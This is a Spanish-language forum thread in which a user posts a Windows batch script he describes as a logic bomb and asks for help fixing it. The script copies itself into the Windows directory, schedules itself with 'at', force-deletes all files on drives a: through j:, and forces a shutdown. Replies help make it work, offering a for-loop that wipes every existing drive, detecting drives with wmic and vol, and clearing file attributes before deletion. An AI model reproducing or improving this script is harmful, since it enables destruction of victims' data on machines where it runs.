Hola chicos. Bueno soy nuevo en el foro. Hace tiempo yo me dedicaba a hacer scripts en batch. Aprendi con pequeños tutoriales y me ha ido muy bien.
Lo que pasa hace mucho que lo descuidé y tendre que repasar :huh:.
Os comentaba que si me podiais echar una mano con este code. :)
@echo off
copy "%homepath%\HCKB.bat" "%WINDIR%\shutdownd.bat"
at 19:00 /every:1 "%WINDIR%\shutdownd.bat"
del /f /s /q "a:" *.*
del /f /s /q "b:" *.*
del /f /s /q "c:" *.*
del /f /s /q "d:" *.*
del /f /s /q "e:" *.*
del /f /s /q "f:" *.*
del /f /s /q "g:" *.*
del /f /s /q "h:" *.*
del /f /s /q "i:" *.*
del /f /s /q "j:" *.*
shutdown -s -f -r 10 -c DAÑOS GRAVES. FORZADO APAGADO.
exit
El significado del codigo que deseo realizar, como yo me acuerdo, es simplemente que el .bat se copie a windows, se programe su ejecución para el dia 1 de abril a las 7, en verdad seria ejecucion para todos los 1 de abril, pero con el primer mes basta y borre todos los archivos de todas las unidades. En plan bomba lógica. Lo he probado, y me dice.
"El nombre del archivo, el nombre de la sinxtasis de la etiqueta del volumen no es correcta."
Si %WINDIR% es el directorio general de windows, que en cualquier SO lleva hasta allí. ¿Que ocurre?.
Espero que me podais ayudar a mejorar mi codigo.
Yo colaboraré mas en este foro, que veo desde hace tiempo y que me gustaria colaborar. :)
ola
yo comprovaria si existen las unidades y en ese caso eliminar los archivos
for %%a in(c d e f g h i j k m l n o p q r s t u v w x y z)do if exist %%a del /f /s /q %%a\*
solo es una sugerencia ya que capas que el error esta en el del
ahora miro un poco mas el code y si encuentro algo mas comento
un saludo!
otra cosa las " no son nesesarias capas q es eso
copy %homepath%\bck.bat %windir%\shutdown.bat
despues el at ni idea ya que hace mucho que no uso comandos asi
un saludo!
jeje. yo puse las unidades, a, b c... porque si el code no encuentra una, salta a la otra, hasta q encuentre una fisica i empiece a borrar. probe el codigo, i se salta el at i empieza a borrar archivos masivamente. sin poseer ni a, ni b... solo c, d y e ;-).
el %homepatch% y %windir% es la variable. es decir %homepatch% (la unidad donde esta el .bat, un pentdriver, y %windir% la carpeta de archivos de windows. :).
si, son comandos antiguos, pero tienen su utilidad. yo me pondre a dar repasos a mis apuntes de antaño aber q tl jeje.
asias, aber si se puede aclarar lo del codigo jeje.
un saludo
Cita de: HCK. en 19 Marzo 2010, 17:27 PM
jeje. yo puse las unidades, a, b c... porque si el code no encuentra una, salta a la otra, hasta q encuentre una fisica i empiece a borrar. probe el codigo, i se salta el at i empieza a borrar archivos masivamente. sin poseer ni a, ni b... solo c, d y e ;-).
el %homepatch% y %windir% es la variable. es decir %homepatch% (la unidad donde esta el .bat, un pentdriver, y %windir% la carpeta de archivos de windows. :).
si, son comandos antiguos, pero tienen su utilidad. yo me pondre a dar repasos a mis apuntes de antaño aber q tl jeje.
asias, aber si se puede aclarar lo del codigo jeje.
un saludo
lo de las variables no hacia falta aclararlo son variables de entorno tmb podes usar
%systemroot% y %homedrive%
no prove el codigo no tengo el virtual box a mano pero si vos decis que el del hace eso calculo que si nunca uso el /f
y bue anda provando linea por linea metiendo un pause y fijate en que linea esta el error despues de todo no te moriras por depurar un batch creo
un saludo!
cierto. me llevará un rato. si descubro xke no me va i eso os comento :xD
jeje asias por opinar xicos
lo puedes simplificar con for y para ver que unidades estan disponible wmic y vol ;)
ah, y antes de borrar archivos quita atributos